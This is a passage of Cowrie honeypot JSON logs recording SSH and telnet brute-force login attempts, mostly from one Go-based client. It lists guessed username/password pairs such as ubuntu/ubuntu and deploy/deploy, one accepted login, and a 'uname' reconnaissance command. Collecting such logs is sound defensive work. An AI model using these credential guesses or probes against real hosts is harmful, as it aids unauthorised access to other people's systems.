{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz@WSX3edc","message":"login attempt [ansible/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:48.009444Z","src_ip":"159.203.92.129","session":"6fe2f052013a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.668832063674927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:48.020079Z","src_ip":"108.61.242.114","session":"665e17c5c52c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:48.128997Z","src_ip":"176.65.139.103","session":"7ca7d72490d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:48.331638Z","src_ip":"176.65.139.103","session":"7ca7d72490d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:48.334977Z","src_ip":"176.65.139.103","session":"7ca7d72490d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:48.557547Z","src_ip":"176.65.139.103","session":"7ca7d72490d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:48.563054Z","src_ip":"176.65.139.103","session":"7ca7d72490d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:49.015361Z","src_ip":"159.203.92.129","session":"6fe2f052013a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39096,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bfa4761963c","protocol":"ssh","message":"New connection: 176.65.139.103:39096 (10.17.0.5:22) [session: 7bfa4761963c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:54.100271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:54.105398Z","src_ip":"176.65.139.103","session":"7bfa4761963c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:54.189338Z","src_ip":"176.65.139.103","session":"7bfa4761963c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:54.439755Z","src_ip":"176.65.139.103","session":"7bfa4761963c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77179718017578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:55.197217Z","src_ip":"117.120.7.112","session":"4bbd15aa3d94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:55.529933Z","src_ip":"176.65.139.103","session":"7bfa4761963c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d08abcdc446d","protocol":"ssh","message":"New connection: 176.65.139.103:39098 (10.17.0.5:22) [session: d08abcdc446d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:00.230520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:00.235443Z","src_ip":"176.65.139.103","session":"d08abcdc446d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:00.329157Z","src_ip":"176.65.139.103","session":"d08abcdc446d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:00.602281Z","src_ip":"176.65.139.103","session":"d08abcdc446d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.56223464012146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:00.825306Z","src_ip":"108.61.242.114","session":"b95ab4a07e5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:01.695686Z","src_ip":"176.65.139.103","session":"d08abcdc446d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54532,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ad81cfd11b8","protocol":"ssh","message":"New connection: 176.65.139.103:54532 (10.17.0.5:22) [session: 3ad81cfd11b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:06.662185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:06.666961Z","src_ip":"176.65.139.103","session":"3ad81cfd11b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:06.750146Z","src_ip":"176.65.139.103","session":"3ad81cfd11b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:07.006061Z","src_ip":"176.65.139.103","session":"3ad81cfd11b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:08.144424Z","src_ip":"176.65.139.103","session":"3ad81cfd11b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.248.101.95","src_port":56048,"dst_ip":"10.17.0.5","dst_port":23,"session":"147155cb7f27","protocol":"telnet","message":"New connection: 41.248.101.95:56048 (10.17.0.5:23) [session: 147155cb7f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:12.273270Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54536,"dst_ip":"10.17.0.5","dst_port":22,"session":"523d8e366683","protocol":"ssh","message":"New connection: 176.65.139.103:54536 (10.17.0.5:22) [session: 523d8e366683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:12.577735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:12.582371Z","src_ip":"176.65.139.103","session":"523d8e366683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:12.670098Z","src_ip":"176.65.139.103","session":"523d8e366683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:12.952617Z","src_ip":"176.65.139.103","session":"523d8e366683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:14.206645Z","src_ip":"176.65.139.103","session":"523d8e366683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60636,"dst_ip":"10.17.0.5","dst_port":22,"session":"2558742a6d9c","protocol":"ssh","message":"New connection: 176.65.139.103:60636 (10.17.0.5:22) [session: 2558742a6d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:18.669399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:18.674474Z","src_ip":"176.65.139.103","session":"2558742a6d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:18.760546Z","src_ip":"176.65.139.103","session":"2558742a6d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:19.009691Z","src_ip":"176.65.139.103","session":"2558742a6d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:20.135050Z","src_ip":"176.65.139.103","session":"2558742a6d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40590,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc37782136fb","protocol":"ssh","message":"New connection: 176.65.139.103:40590 (10.17.0.5:22) [session: dc37782136fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:24.480623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:24.485367Z","src_ip":"176.65.139.103","session":"dc37782136fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:24.568538Z","src_ip":"176.65.139.103","session":"dc37782136fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:24.852525Z","src_ip":"176.65.139.103","session":"dc37782136fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:25.989508Z","src_ip":"176.65.139.103","session":"dc37782136fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40620,"dst_ip":"10.17.0.5","dst_port":22,"session":"568fae32664d","protocol":"ssh","message":"New connection: 176.65.139.103:40620 (10.17.0.5:22) [session: 568fae32664d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:30.318211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:30.325882Z","src_ip":"176.65.139.103","session":"568fae32664d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:30.508439Z","src_ip":"176.65.139.103","session":"568fae32664d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:31.076429Z","src_ip":"176.65.139.103","session":"568fae32664d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60308,"dst_ip":"159.203.135.109","dst_port":22,"session":"5199e9d641c8","protocol":"ssh","message":"New connection: 159.203.92.129:60308 (159.203.135.109:22) [session: 5199e9d641c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:31.307519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:31.312593Z","src_ip":"159.203.92.129","session":"5199e9d641c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchang